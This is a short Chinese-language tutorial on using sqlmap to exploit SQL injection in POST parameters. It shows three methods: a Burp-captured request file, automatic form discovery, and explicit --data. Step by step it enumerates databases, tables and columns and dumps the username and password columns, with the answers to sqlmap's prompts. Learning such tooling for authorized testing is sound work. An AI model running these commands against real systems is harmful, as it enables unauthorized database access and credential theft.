利用sqlmap進行POST注入,常見的有三種方法:
注入方式一:
1.用Burp抓包,然后保存抓取到的內容。例如:保存為post.txt,然后把它放至某個目錄下
2.列數據庫:
sqlmap.py -r "c:\Users\fendo\Desktop\post.txt" -p n --dbs
注:-r表示加載一個文件,-p指定參數
其中出現了三次提示:
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
它看起來像后端DBMS是'MySQL'。 是否要跳過特定於其他DBMS的測試負載? [Y/n] 輸入"Y"
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
對於剩余的測試,您想要包括所有針對“MySQL”擴展提供的級別(1)和風險(1)值的測試嗎? [Y/n] 輸入"N"
POST parameter 'n' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
POST參數'n'是脆弱的。 你想繼續測試其他人(如果有的話)嗎?[y/N] 輸入"Y"
以下是猜解出來的一些數據庫總共有13個數據庫。
3.猜表
選擇一個數據庫,比如選fendo
sqlmap.py -r "c:\Users\fendo\Desktop\test.txt" -p n -D fendo --tables
得到user表。
4.猜列
sqlmap.py -r "c:\Users\fendo\Desktop\post.txt" -p n -D fendo -T user --columns
5.猜數據
sqlmap.py -r "c:\Users\fendo\Desktop\post.txt" -p n -D fendo -T user -C “username,password” --dump
注入方式二:自動搜索表單的方式
sqlmap.py -u "http://192.168.160.1/sqltest/post.php" --forms
它會有幾次消息提示:
do you want to test this form? [Y/n/q]
要測試此表單嗎?[Y/n/q] 輸入"Y"
do you want to fill blank fields with random values? [Y/n]
是否要填充帶有隨機值的空白字段? [Y/n] 輸入"Y"
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
它看起來像后端DBMS是'MySQL'。 是否要跳過特定於其他DBMS的測試負載? [Y/n] 輸入"Y"
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
對於剩余的測試,您想要包括所有針對“MySQL”擴展提供的級別(1)和風險(1)值的測試嗎?[Y/n] 輸入"N"
POST parameter 'n' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
POST參數'n'是脆弱的。 你想繼續測試其他人(如果有的話)嗎?[y/N] 輸入"N"
do you want to exploit this SQL injection? [Y/n]
你想利用SQL注入? 輸入"Y"
注入方式三:指定一個參數的方法
sqlmap -u http://xxx.xxx.com/Login.asp --data "n=1&p=1"